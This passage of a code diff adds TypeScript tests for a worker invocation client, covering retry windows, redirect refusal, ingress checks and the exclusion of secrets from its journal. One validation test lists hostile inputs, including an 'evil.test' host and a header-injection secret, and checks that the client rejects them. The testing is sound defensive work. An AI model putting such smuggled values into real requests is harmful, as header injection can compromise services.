+      throw new Error('synthetic transport failure');
+    });
+    const result = createDirectInvocationClient({
+      ...f.options,
+      fetch: fetchRequest,
+    })
+      .invoke({ kind: 'control-read' })
+      .catch((error: unknown) => error);
+    await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1));
+    await vi.advanceTimersByTimeAsync(3_499 - (performance.now() - startedAt));
+    expect(deliveries.map((time) => time - startedAt)).toEqual([0, 2_000]);
+    expect(vi.getTimerCount()).toBe(1);
+    await vi.advanceTimersByTimeAsync(1);
+    await expect(result).resolves.toMatchObject({
+      code: 'outcome-unknown',
+      detail: 'delivery-window-expired',
+    });
+    expect(fetchRequest).toHaveBeenCalledTimes(2);
+    expect(f.journal.snapshot()).toMatchObject({
+      invocationCount: 1,
+      lastInvocation: { state: 'pending' },
+    });
+  });
+
+  it.each([
+    { kind: 'inventory-read', slot: 'inventory-before' },
+    { kind: 'audit-page', slot: 'audit-before', limit: 1 },
+    { kind: 'migration-page', limit: 1 },
+    { kind: 'cleanup-receipt', role: 'a' },
+    { kind: 'decommission-export', role: 'a' },
+    { kind: 'tenant-probe', role: 'a', operation: 'health' },
+    { kind: 'tenant-probe', role: 'a', operation: 'object-read' },
+    { kind: 'tenant-fence', role: 'a', operation: 'read' },
+    { kind: 'tenant-fence', role: 'a', operation: 'inventory' },
+  ] as const)('re-delivers read-only $kind/$operation: two requests, one reservation', async (action) => {
+    const f = await fixture(3, 10_000);
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    const reserveInvocation = vi.fn((body: string) =>
+      f.journal.reserveInvocation(body),
+    );
+    const fetchRequest = vi
+      .fn<typeof fetch>()
+      .mockRejectedValueOnce(new Error(SECRET))
+      .mockImplementation(async () => f.response(f.success(action.kind)));
+    const result = createDirectInvocationClient({
+      ...f.options,
+      journal: { ...f.journal, reserveInvocation },
+      fetch: fetchRequest,
+    }).invoke(action);
+    await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1));
+    await vi.advanceTimersByTimeAsync(2_000);
+    await expect(result).resolves.toMatchObject({ attempts });
+    expect(fetchRequest).toHaveBeenCalledTimes(2);
+    expect(reserveInvocation).toHaveBeenCalledTimes(1);
+  });
+
+  it.each([
+    { kind: 'force-observe' },
+    { kind: 'tenant-probe', role: 'a', operation: 'object-put' },
+    { kind: 'tenant-probe', role: 'a', operation: 'object-delete' },
+    { kind: 'tenant-fence', role: 'a', operation: 'mutate-current' },
+    { kind: 'decommission-continue', role: 'a' },
+  ] as const)('keeps journal or provider mutation $kind/$operation unknown: one request, one reservation', async (action) => {
+    const f = await fixture();
+    await expectUnknown(
+      f,
+      async () => new Response('error code: 1104', { status: 500 }),
+      action,
+    );
+  });
+
+  it.each(
+    DIRECT_INVOCATION_FAILURE_DETAILS,
+  )('constructs outcome-unknown with a listed detail and drops an unlisted one: %s', (detail) => {
+    expect(
+      new DirectInvocationError(
+        'outcome-unknown',
+        undefined,
+        undefined,
+        detail,
+      ),
+    ).toMatchObject({ code: 'outcome-unknown', detail });
+    expect(
+      new DirectInvocationError(
+        'outcome-unknown',
+        undefined,
+        undefined,
+        SECRET as typeof detail,
+      ).detail,
+    ).toBeUndefined();
+  });
+
+  it.each([
+    'text/plain; charset=UTF-8',
+    'text/html',
+  ])('retries a platform 404 %s with one reservation and identical request bytes', async (contentType) => {
+    const f = await fixture(3, 10_000);
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    const reserveInvocation = vi.fn((body: string) =>
+      f.journal.reserveInvocation(body),
+    );
+    const cancel = vi.fn();
+    const page = new Response(new ReadableStream({ cancel }), {
+      status: 404,
+      headers: { 'content-type': contentType },
+    });
+    const fetchRequest = vi
+      .fn<typeof fetch>()
+      .mockResolvedValueOnce(page)
+      .mockImplementation(async () => f.response());
+    const client = createDirectInvocationClient({
+      ...f.options,
+      journal: { ...f.journal, reserveInvocation },
+      fetch: fetchRequest,
+    });
+    const result = client.invoke({ kind: 'control-read' });
+    await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1));
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('pending');
+    expect(cancel).toHaveBeenCalledTimes(1);
+    await vi.advanceTimersByTimeAsync(2_000);
+    await expect(result).resolves.toEqual({
+      result: { token: CLAIM },
+      attempts,
+    });
+    expect(reserveInvocation).toHaveBeenCalledTimes(1);
+    expect(fetchRequest).toHaveBeenCalledTimes(2);
+    expect(fetchRequest.mock.calls[1]).toEqual(fetchRequest.mock.calls[0]);
+    expect(fetchRequest.mock.calls[1]?.[1]?.body).toBe(
+      reserveInvocation.mock.calls[0]?.[0],
+    );
+    expect(f.journal.snapshot()).toMatchObject({
+      invocationCount: 1,
+      lastInvocation: { state: 'settled' },
+    });
+  });
+
+  it.each([
+    600_000, 3_500,
+  ])('leaves one reservation pending when platform 404s exhaust the delivery window within a %i ms invocation', async (timeoutMs) => {
+    const f = await fixture(3, timeoutMs);
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    let startedAt = 0;
+    const fetchRequest = vi.fn<typeof fetch>(async () => {
+      if (fetchRequest.mock.calls.length === 1) startedAt = performance.now();
+      return new Response('unavailable', {
+        status: 404,
+        headers: { 'content-type': 'text/plain' },
+      });
+    });
+    const client = createDirectInvocationClient({
+      ...f.options,
+      fetch: fetchRequest,
+    });
+    let settled = false;
+    const result = client
+      .invoke({ kind: 'control-read' })
+      .catch((error: unknown) => {
+        settled = true;
+        return error;
+      });
+    await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1));
+    const windowMs = Math.min(120_000, timeoutMs);
+    await vi.advanceTimersByTimeAsync(
+      windowMs - (performance.now() - startedAt) - 1,
+    );
+    expect(settled).toBe(false);
+    await vi.advanceTimersByTimeAsync(1);
+    await expect(result).resolves.toMatchObject({ code: 'outcome-unknown' });
+    expect(fetchRequest).toHaveBeenCalledTimes(Math.ceil(windowMs / 2_000));
+    expect(f.journal.snapshot()).toMatchObject({
+      invocationCount: 1,
+      lastInvocation: { state: 'pending' },
+    });
+    await expect(client.invoke({ kind: 'control-read' })).rejects.toMatchObject(
+      { code: 'outcome-unknown' },
+    );
+    await closed(f.journal);
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'outcome-unknown' });
+  });
+
+  it('bounds a stalled re-delivery by the first attempt delivery window', async () => {
+    const f = await fixture(3, 600_000);
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    let startedAt = 0;
+    const fetchRequest = vi.fn<typeof fetch>(async () => {
+      if (fetchRequest.mock.calls.length > 1)
+        return new Promise<Response>(() => {});
+      startedAt = performance.now();
+      return new Response('unavailable', {
+        status: 404,
+        headers: { 'content-type': 'text/html' },
+      });
+    });
+    const result = createDirectInvocationClient({
+      ...f.options,
+      fetch: fetchRequest,
+    })
+      .invoke({ kind: 'control-read' })
+      .catch((error: unknown) => error);
+    await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1));
+    await vi.advanceTimersByTimeAsync(
+      120_000 - (performance.now() - startedAt),
+    );
+    await expect(result).resolves.toMatchObject({ code: 'outcome-unknown' });
+    expect(fetchRequest).toHaveBeenCalledTimes(2);
+    expect(fetchRequest.mock.calls[1]?.[1]?.signal?.aborted).toBe(true);
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('pending');
+  });
+
+  it.each([
+    [404, 'application/json', {}],
+    [500, 'application/json', {}],
+    [500, 'text/plain', {}],
+    [500, 'text/html', {}],
+    [200, 'text/plain', {}],
+    [302, 'text/html', {}],
+    [404, 'text/plain', { 'cache-control': 'no-store' }],
+    [404, 'text/html', { 'www-authenticate': 'Bearer' }],
+    [404, 'application/problem+json', {}],
+  ] as const)('does not re-deliver HTTP %i %s with markers %j', async (status, contentType, markers) => {
+    const f = await fixture(3, 5_000);
+    await expectUnknown(
+      f,
+      async () =>
+        new Response(
+          JSON.stringify({
+            contractVersion: 1,
+            ok: false,
+            error: { code: status === 404 ? 'not-found' : 'operation-refused' },
+          }),
+          { status, headers: { 'content-type': contentType, ...markers } },
+        ),
+    );
+  });
+
+  it('sends the default transport POST with the invocation headers and serialized body', async () => {
+    const f = await fixture();
+    let received: unknown;
+    const request = await localReference((incoming, outgoing) => {
+      let body = '';
+      incoming.setEncoding('utf8');
+      incoming.on('data', (chunk) => {
+        body += chunk;
+      });
+      incoming.on('end', () => {
+        received = {
+          method: incoming.method,
+          path: incoming.url,
+          headers: incoming.headers,
+          body,
+        };
+        outgoing.writeHead(200, responseHeaders);
+        outgoing.end(JSON.stringify(f.success()));
+      });
+    });
+    const fetchRequest = vi.fn<typeof fetch>();
+    vi.stubGlobal('fetch', fetchRequest);
+    const client = createDirectInvocationClient(f.options);
+    await expect(client.invoke({ kind: 'control-read' })).resolves.toEqual({
+      result: { token: CLAIM },
+      attempts,
+    });
+    expect(received).toMatchObject({
+      method: 'POST',
+      path: DIRECT_REFERENCE_PATH,
+      headers: {
+        authorization: `Bearer ${SECRET}`,
+        'content-type': 'application/json',
+        accept: 'application/json',
+        'cache-control': 'no-store',
+      },
+      body: JSON.stringify({
+        contractVersion: 1,
+        configSha256: f.prepared.configSha256,
+        action: { kind: 'control-read' },
+      }),
+    });
+    expect(request).toHaveBeenCalledTimes(1);
+    expect(fetchRequest).not.toHaveBeenCalled();
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('settled');
+  });
+
+  it('disables transport idle timeouts and accepts mutation headers after 300 seconds within the invocation deadline', async () => {
+    const f = await fixture(3, 600_000);
+    let receive!: (response: http.ServerResponse) => void;
+    const received = new Promise<http.ServerResponse>((resolve) => {
+      receive = resolve;
+    });
+    const request = await localReference((_incoming, outgoing) => {
+      receive(outgoing);
+    });
+    vi.useFakeTimers();
+    const client = createDirectInvocationClient(f.options);
+    const invocation = client.invoke({
+      kind: 'provision',
+      role: 'a',
+      release: 'initial',
+    });
+    const accepted = expect(invocation).resolves.toMatchObject({ attempts });
+    const outgoing = await received;
+    const options = request.mock.calls[0]?.[1] as https.RequestOptions;
+    expect(options).toEqual({
+      method: 'POST',
+      headers: expect.any(Object),
+      signal: expect.any(AbortSignal),
+      timeout: 0,
+      agent: false,
+    });
+    await vi.advanceTimersByTimeAsync(300_001);
+    expect(options.signal?.aborted).toBe(false);
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('pending');
+    outgoing.writeHead(200, responseHeaders);
+    outgoing.end(JSON.stringify(f.success('provision')));
+    await accepted;
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('settled');
+  });
+
+  it('accepts read-only headers after 300 seconds within the invocation deadline', async () => {
+    const f = await fixture(3, 600_000);
+    let receive!: (response: http.ServerResponse) => void;
+    const received = new Promise<http.ServerResponse>((resolve) => {
+      receive = resolve;
+    });
+    const request = await localReference((_incoming, outgoing) => {
+      receive(outgoing);
+    });
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    const invocation = createDirectInvocationClient(f.options).invoke({
+      kind: 'control-read',
+    });
+    const accepted = expect(invocation).resolves.toMatchObject({ attempts });
+    const outgoing = await received;
+    expect(vi.getTimerCount()).toBe(1);
+    await vi.advanceTimersByTimeAsync(300_001);
+    outgoing.writeHead(200, responseHeaders);
+    outgoing.end(JSON.stringify(f.success()));
+    await accepted;
+    expect(request).toHaveBeenCalledTimes(1);
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('settled');
+  });
+
+  it.each([
+    ['read-only', { kind: 'control-read' }],
+    ['mutation', { kind: 'provision', role: 'a', release: 'initial' }],
+  ] as const)('keeps a re-delivered %s answer streaming past the delivery window', async (_kind, action) => {
+    const f = await fixture(3, 600_000);
+    const reserveInvocation = vi.fn((body: string) =>
+      f.journal.reserveInvocation(body),
+    );
+    const bodies: string[] = [];
+    let receive!: (response: http.ServerResponse) => void;
+    const received = new Promise<http.ServerResponse>((resolve) => {
+      receive = resolve;
+    });
+    const request = await localReference((incoming, outgoing) => {
+      let body = '';
+      incoming.setEncoding('utf8');
+      incoming.on('data', (chunk) => {
+        body += chunk;
+      });
+      incoming.on('end', () => {
+        bodies.push(body);
+        if (bodies.length === 1) {
+          if (action.kind === 'control-read') outgoing.destroy();
+          else {
+            outgoing.writeHead(404, { 'content-type': 'text/html' });
+            outgoing.end('<html>not ready</html>');
+          }
+          return;
+        }
+        outgoing.writeHead(200, responseHeaders);
+        outgoing.write('{');
+        receive(outgoing);
+      });
+    });
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    const invocation = createDirectInvocationClient({
+      ...f.options,
+      journal: { ...f.journal, reserveInvocation },
+    }).invoke(action);
+    const accepted = expect(invocation).resolves.toMatchObject({ attempts });
+    await vi.waitFor(() => {
+      expect(request).toHaveBeenCalledTimes(1);
+      expect(vi.getTimerCount()).toBe(3);
+    });
+    await vi.advanceTimersByTimeAsync(2_000);
+    const outgoing = await received;
+    await vi.waitFor(() => expect(vi.getTimerCount()).toBe(1));
+    await vi.advanceTimersByTimeAsync(120_001);
+    outgoing.end(JSON.stringify(f.success(action.kind)).slice(1));
+    await accepted;
+    expect(request).toHaveBeenCalledTimes(2);
+    expect(reserveInvocation).toHaveBeenCalledTimes(1);
+    expect(bodies).toEqual([
+      reserveInvocation.mock.calls[0]?.[0],
+      reserveInvocation.mock.calls[0]?.[0],
+    ]);
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('settled');
+  });
+
+  it('reports the answer class, not the delivery window, when the invocation deadline ends a first read-only attempt', async () => {
+    const f = await fixture(3, 10_000);
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    const fetchRequest = vi.fn<typeof fetch>(
+      () => new Promise<Response>(() => {}),
+    );
+    const invocation = createDirectInvocationClient({
+      ...f.options,
+      fetch: fetchRequest,
+    }).invoke({ kind: 'control-read' });
+    const refused = expect(invocation).rejects.toMatchObject({
+      code: 'outcome-unknown',
+      detail: 'transport-failure',
+    });
+    await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1));
+    expect(vi.getTimerCount()).toBe(1);
+    await vi.advanceTimersByTimeAsync(10_000);
+    await refused;
+    expect(fetchRequest).toHaveBeenCalledTimes(1);
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('pending');
+  });
+
+  it.each([
+    'headers',
+    'body',
+  ])('aborts a hanging default transport %s exchange as outcome-unknown', async (phase) => {
+    const f = await fixture(3, 100);
+    let disconnect!: () => void;
+    const disconnected = new Promise<void>((resolve) => {
+      disconnect = resolve;
+    });
+    const request = await localReference((_incoming, outgoing) => {
+      outgoing.on('close', disconnect);
+      if (phase === 'body') {
+        outgoing.writeHead(200, responseHeaders);
+        outgoing.write('{');
+      }
+    });
+    const client = createDirectInvocationClient(f.options);
+    await expect(client.invoke({ kind: 'control-read' })).rejects.toMatchObject(
+      { code: 'outcome-unknown' },
+    );
+    await disconnected;
+    const options = request.mock.calls[0]?.[1] as https.RequestOptions;
+    expect(options.signal?.aborted).toBe(true);
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('pending');
+    await expect(client.invoke({ kind: 'control-read' })).rejects.toMatchObject(
+      { code: 'outcome-unknown' },
+    );
+    expect(request).toHaveBeenCalledTimes(1);
+    await closed(f.journal);
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'outcome-unknown' });
+  });
+
+  it('refuses a default transport redirect without following its location', async () => {
+    const f = await fixture(3, 3_500);
+    const paths: (string | undefined)[] = [];
+    const request = await localReference((incoming, outgoing) => {
+      paths.push(incoming.url);
+      outgoing.writeHead(302, {
+        ...responseHeaders,
+        Location: `http://${incoming.headers.host}/redirect-target`,
+      });
+      outgoing.end();
+    });
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    const client = createDirectInvocationClient(f.options);
+    const result = client
+      .invoke({ kind: 'control-read' })
+      .catch((error: unknown) => error);
+    await vi.waitFor(() => {
+      expect(paths).toHaveLength(1);
+      expect(vi.getTimerCount()).toBe(2);
+    });
+    await vi.advanceTimersToNextTimerAsync();
+    await vi.waitFor(() => expect(paths).toHaveLength(2));
+    await vi.advanceTimersToNextTimerAsync();
+    await expect(result).resolves.toMatchObject({
+      code: 'outcome-unknown',
+      detail: 'delivery-window-expired',
+    });
+    expect(paths).toEqual([DIRECT_REFERENCE_PATH, DIRECT_REFERENCE_PATH]);
+    expect(paths).not.toContain('/redirect-target');
+    expect(request).toHaveBeenCalledTimes(2);
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('pending');
+  });
+
+  it('accepts three consecutive exact ingress contract refusals with unauthenticated requests', async () => {
+    const f = await fixture();
+    const dispatch = vi.fn();
+    const fetchRequest = vi.fn<typeof fetch>(async (url, init) => {
+      const request = new Request(url, init);
+      expect(request.url).toBe(
+        `https://${f.prepared.names.referenceWorker}.attested-account.workers.dev${DIRECT_REFERENCE_PATH}`,
+      );
+      expect(request.method).toBe('POST');
+      expect(Object.fromEntries(request.headers)).toEqual({
+        accept: 'application/json',
+        'cache-control': 'no-store',
+        'content-type': 'application/json',
+      });
+      expect(init?.body).toBe('{}');
+      expect(request.redirect).toBe('manual');
+      expect(request.cache).toBe('no-store');
+      return handleDirectReferenceHttpRequest(request, {
+        configSha256: f.prepared.configSha256,
+        invokeSecret: SECRET,
+        invocationTimeoutMs: 1000,
+        dispatch,
+      });
+    });
+    await expect(
+      awaitReferenceIngress({
+        ...f.options,
+        fetch: fetchRequest,
+        sleep: async () => {},
+      }),
+    ).resolves.toBe(true);
+    expect(fetchRequest).toHaveBeenCalledTimes(3);
+    expect(dispatch).not.toHaveBeenCalled();
+    expect(f.journal.snapshot()).toMatchObject({
+      invocationCount: 0,
+      lastInvocation: null,
+    });
+  });
+
+  it('retries HTML 404, thrown fetch, and non-contract 200 before ingress readiness', async () => {
+    const f = await fixture();
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    const sleep = vi.fn(async (ms: number) => {
+      await vi.advanceTimersByTimeAsync(ms);
+    });
+    const fetchRequest = vi
+      .fn<typeof fetch>()
+      .mockResolvedValueOnce(
+        new Response('<html>missing</html>', { status: 404 }),
+      )
+      .mockRejectedValueOnce(new Error(SECRET))
+      .mockResolvedValueOnce(Response.json({}))
+      .mockImplementation(async () => ingressRefusal());
+    await expect(
+      awaitReferenceIngress({
+        ...f.options,
+        fetch: fetchRequest,
+        deadlineMs: 100,
+        intervalMs: 10,
+        sleep,
+      }),
+    ).resolves.toBe(true);
+    expect(fetchRequest).toHaveBeenCalledTimes(6);
+    expect(sleep.mock.calls).toEqual([[10], [10], [10], [10], [10]]);
+    for (const [url, init] of fetchRequest.mock.calls)
+      expect(new Request(url, init).headers.has('authorization')).toBe(false);
+  });
+
+  it('returns not ready at the deadline after non-contract responses', async () => {
+    const f = await fixture();
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    const sleep = vi.fn(
+      (ms: number) => new Promise<void>((resolve) => setTimeout(resolve, ms)),
+    );
+    const fetchRequest = vi.fn<typeof fetch>(async () => Response.json({}));
+    const result = awaitReferenceIngress({
+      ...f.options,
+      fetch: fetchRequest,
+      deadlineMs: 25,
+      intervalMs: 10,
+      sleep,
+    });
+    await vi.advanceTimersByTimeAsync(24);
+    expect(fetchRequest).toHaveBeenCalledTimes(3);
+    expect(sleep.mock.calls).toEqual([[10], [10]]);
+    expect(vi.getTimerCount()).toBe(1);
+    await vi.advanceTimersByTimeAsync(1);
+    await expect(result).resolves.toBe(false);
+    expect(fetchRequest).toHaveBeenCalledTimes(3);
+  });
+
+  it.each([
+    'cache-control',
+    'error-code',
+    'content-type',
+    'www-authenticate',
+    'extra-field',
+    'oversize',
+  ])('does not accept a deviating ingress refusal: %s', async (kind) => {
+    const f = await fixture();
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    const response = ingressRefusal();
+    if (kind === 'cache-control' || kind === 'www-authenticate')
+      response.headers.delete(kind);
+    if (kind === 'content-type')
+      response.headers.set('content-type', 'text/html');
+    if (kind === 'oversize')
+      response.headers.set('content-length', String(4 * 1024 * 1024 + 1));
+    const altered =
+      kind === 'error-code' || kind === 'extra-field'
+        ? new Response(
+            JSON.stringify({
+              contractVersion: 1,
+              ok: false,
+              error: { code: kind === 'error-code' ? SECRET : 'unauthorized' },
+              ...(kind === 'extra-field' ? { extra: true } : {}),
+            }),
+            { status: 401, headers: response.headers },
+          )
+        : response;
+    const fetchRequest = vi
+      .fn<typeof fetch>()
+      .mockResolvedValueOnce(altered)
+      .mockImplementation(async () => ingressRefusal());
+    await expect(
+      awaitReferenceIngress({
+        ...f.options,
+        fetch: fetchRequest,
+        deadlineMs: 40,
+        intervalMs: 10,
+        sleep: async (ms) => {
+          await vi.advanceTimersByTimeAsync(ms);
+        },
+      }),
+    ).resolves.toBe(true);
+    expect(fetchRequest).toHaveBeenCalledTimes(4);
+  });
+
+  it.each([
+    'fetch',
+    'body',
+  ])('bounds a stalled ingress %s by the deadline', async (kind) => {
+    const f = await fixture();
+    const response = ingressRefusal();
+    const stalled = new Response(new ReadableStream(), {
+      status: 401,
+      headers: response.headers,
+    });
+    const fetchRequest = vi.fn<typeof fetch>(async () =>
+      kind === 'fetch' ? new Promise<Response>(() => {}) : stalled,
+    );
+    await expect(
+      awaitReferenceIngress({
+        ...f.options,
+        fetch: fetchRequest,
+        deadlineMs: 20,
+      }),
+    ).resolves.toBe(false);
+    expect(fetchRequest).toHaveBeenCalledTimes(1);
+    expect(fetchRequest.mock.calls[0]?.[1]?.signal?.aborted).toBe(true);
+  });
+
+  it.each([
+    'operator:token',
+    'operator token',
+    'operator\ttoken',
+  ])('accepts a header-safe credential supported by the receiver: %s', async (invokeSecret) => {
+    const f = await fixture();
+    const client = createDirectInvocationClient({
+      ...f.options,
+      invokeSecret,
+      fetch: async (url, init) => {
+        const response = await handleDirectReferenceHttpRequest(
+          new Request(url, init),
+          {
+            configSha256: f.prepared.configSha256,
+            invokeSecret,
+            invocationTimeoutMs: 1000,
+            dispatch: async () => ({ accepted: true }),
+          },
+        );
+        for (const [key, value] of Object.entries(responseHeaders))
+          response.headers.set(key, value);
+        return response;
+      },
+    });
+    await expect(
+      client.invoke({ kind: 'control-read' }),
+    ).resolves.toMatchObject({ result: { accepted: true } });
+  });
+  it.each([
+    1, 11, 12, 31, 127,
+  ])('rejects HTTP control byte %i before reservation', async (code) => {
+    const f = await fixture();
+    const fetchRequest = vi.fn<typeof fetch>();
+    const reserveInvocation = vi.fn(f.journal.reserveInvocation);
+    expect(() =>
+      createDirectInvocationClient({
+        ...f.options,
+        journal: { ...f.journal, reserveInvocation },
+        invokeSecret: `operator${String.fromCharCode(code)}token`,
+        fetch: fetchRequest,
+      }),
+    ).toThrow('invalid-input');
+    expect(reserveInvocation).not.toHaveBeenCalled();
+    expect(fetchRequest).not.toHaveBeenCalled();
+    expect(f.journal.snapshot().invocationCount).toBe(0);
+  });
+
+  it('reserves the exact once-serialized body before sending to attested ingress and settles the real HTTP envelope', async () => {
+    const f = await fixture();
+    const toJSON = vi.fn(() => ({
+      kind: 'migration-continue',
+      token: { private: CLAIM },
+    }));
+    const result = { status: 'pending', token: { private: CLAIM } };
+    const fetchRequest = vi.fn<typeof fetch>(async (url, init) => {
+      expect(url).toBe(
+        `https://${f.prepared.names.referenceWorker}.attested-account.workers.dev${DIRECT_REFERENCE_PATH}`,
+      );
+      expect(init).toMatchObject({
+        method: 'POST',
+        cache: 'no-store',
+        redirect: 'manual',
+      });
+      const request = new Request(url, init);
+      expect(request.headers.get('authorization')).toBe(`Bearer ${SECRET}`);
+      expect(request.headers.get('content-type')).toBe('application/json');
+      expect(request.headers.get('cache-control')).toBe('no-store');
+      expect(request.headers.get('accept')).toBe('application/json');
+      expect(typeof init?.body).toBe('string');
+      const pending = JSON.parse(await disk(f.journal));
+      expect(pending).toMatchObject({
+        invocationCount: 1,
+        lastInvocation: {
+          state: 'pending',
+          action: { kind: 'migration-continue' },
+          requestSha256: hash(init?.body as string),
+        },
+      });
+      const response = await handleDirectReferenceHttpRequest(request, {
+        configSha256: f.prepared.configSha256,
+        invokeSecret: SECRET,
+        invocationTimeoutMs: 1000,
+        dispatch: async (action) => {
+          expect(action).toEqual({
+            kind: 'migration-continue',
+            token: { private: CLAIM },
+          });
+          return result;
+        },
+      });
+      for (const [key, value] of Object.entries(responseHeaders))
+        response.headers.set(key, value);
+      return response;
+    });
+    const client = createDirectInvocationClient({
+      ...f.options,
+      fetch: fetchRequest,
+    });
+    await expect(
+      client.invoke({ toJSON } as unknown as DirectReferenceAction),
+    ).resolves.toEqual({ result, attempts });
+    expect(toJSON).toHaveBeenCalledTimes(1);
+    expect(fetchRequest).toHaveBeenCalledTimes(1);
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('settled');
+    const bytes = await disk(f.journal);
+    expect(bytes).not.toContain(CLAIM);
+    expect(bytes).not.toContain(SECRET);
+    expect(bytes).not.toContain('"token"');
+  });
+
+  it('binds the response to the serialized action despite caller mutation while reserving', async () => {
+    const f = await fixture();
+    const action = { kind: 'migration-continue' } as { kind: string };
+    let reserved!: () => void;
+    const ready = new Promise<void>((resolve) => {
+      reserved = resolve;
+    });
+    let release!: () => void;
+    const gate = new Promise<void>((resolve) => {
+      release = resolve;
+    });
+    const journal: DirectRunJournal = {
+      ...f.journal,
+      reserveInvocation: async (body) => {
+        const reservation = await f.journal.reserveInvocation(body);
+        reserved();
+        await gate;
+        return reservation;
+      },
+    };
+    const fetchRequest = vi.fn<typeof fetch>(async () =>
+      f.response(f.success('migration-continue')),
+    );
+    const client = createDirectInvocationClient({
+      ...f.options,
+      journal,
+      fetch: fetchRequest,
+    });
+    const invocation = client.invoke(action as DirectReferenceAction);
+    await ready;
+    action.kind = 'force-recovery';
+    release();
+    await expect(invocation).resolves.toMatchObject({ attempts });
+    expect(
+      JSON.parse(fetchRequest.mock.calls[0]?.[1]?.body as string).action.kind,
+    ).toBe('migration-continue');
+  });
+
+  it('settles controlled migration response loss and resumes the spent budget without storing secrets', async () => {
+    const f = await fixture(2);
+    const fetchRequest = vi.fn<typeof fetch>(async () =>
+      f.response(
+        {
+          contractVersion: 1,
+          ok: false,
+          error: { code: 'injected-response-loss' },
+        },
+        503,
+      ),
+    );
+    const client = createDirectInvocationClient({
+      ...f.options,
+      fetch: fetchRequest,
+    });
+    await expect(
+      client.invoke({ kind: 'migration-continue', token: CLAIM }),
+    ).rejects.toMatchObject({ code: 'injected-response-loss', attempts });
+    await closed(f.journal);
+    const journal = await opened({ ...f.input, mode: 'resume' });
+    expect(journal.snapshot()).toMatchObject({
+      invocationCount: 1,
+      lastInvocation: { state: 'settled' },
+    });
+    fetchRequest.mockImplementation(async () => f.response());
+    const resumed = createDirectInvocationClient({
+      ...f.options,
+      journal,
+      fetch: fetchRequest,
+    });
+    await expect(
+      resumed.invoke({ kind: 'control-read' }),
+    ).resolves.toMatchObject({ attempts });
+    await expect(
+      resumed.invoke({ kind: 'control-read' }),
+    ).rejects.toMatchObject({ code: 'invocation-budget-exhausted' });
+    expect(fetchRequest).toHaveBeenCalledTimes(2);
+    const bytes = await disk(journal);
+    expect(bytes).not.toContain(CLAIM);
+    expect(bytes).not.toContain(SECRET);
+  });
+
+  it.each([
+    'subdomain-url',
+    'subdomain-port',
+    'subdomain-path',
+    'subdomain-newline',
+    'subdomain-label',
+    'secret-newline',
+    'secret-nul',
+    'secret-space',
+    'secret-empty',
+    'secret-unicode',
+    'worker-name',
+    'config-hash',
+    'module-hash',
+    'budget',
+    'timeout',
+  ])('rejects invalid or mismatched construction before reservation: %s', async (kind) => {
+    const f = await fixture();
+    const fetchRequest = vi.fn<typeof fetch>();
+    const options = {
+      ...f.options,
+      prepared: structuredClone(f.prepared),
+      fetch: fetchRequest,
+    };
+    const changed = options as unknown as {
+      accountWorkersDevSubdomain: string;
+      invokeSecret: string;
+      prepared: {
+        names: { referenceWorker: string };
+        configSha256: string;
+        referenceModuleSetSha256: string;
+        config: {
+          referenceWorker: {
+            maxInvocations: number;
+            invocationTimeoutMs: number;
+          };
+        };
+      };
+    };
+    switch (kind) {
+      case 'subdomain-url':
+        changed.accountWorkersDevSubdomain = 'https://evil.test';
+        break;
+      case 'subdomain-port':
+        changed.accountWorkersDevSubdomain = 'account:8443';
+        break;
+      case 'subdomain-path':
+        changed.accountWorkersDevSubdomain = 'account/path';
+        break;
+      case 'subdomain-newline':
+        changed.accountWorkersDevSubdomain = 'account\n';
+        break;
+      case 'subdomain-label':
+        changed.accountWorkersDevSubdomain = 'a'.repeat(64);
+        break;
+      case 'secret-newline':
+        changed.invokeSecret = `${SECRET}\nInjected: value`;
+        break;
+      case 'secret-nul':
+        changed.invokeSecret = `${SECRET}\0`;
+        break;
+      case 'secret-space':
+        changed.invokeSecret = `${SECRET} `;
+        break;
+      case 'secret-empty':
+        changed.invokeSecret = '';
+        break;
+      case 'secret-unicode':
+        changed.invokeSecret = 'secret\u0100';
+        break;
+      case 'worker-name':
+        changed.prepared.names.referenceWorker = 'other-worker';
+        break;
+      case 'config-hash':
+        changed.prepared.configSha256 = 'b'.repeat(64);
+        break;
+      case 'module-hash':
+        changed.prepared.referenceModuleSetSha256 = 'b'.repeat(64);
+        break;
+      case 'budget':
+        changed.prepared.config.referenceWorker.maxInvocations++;
+        break;
+      case 'timeout':
+        changed.prepared.config.referenceWorker.invocationTimeoutMs = 0;
+        break;
+    }
+    expect(() => createDirectInvocationClient(options)).toThrow(
+      'invalid-input',
+    );
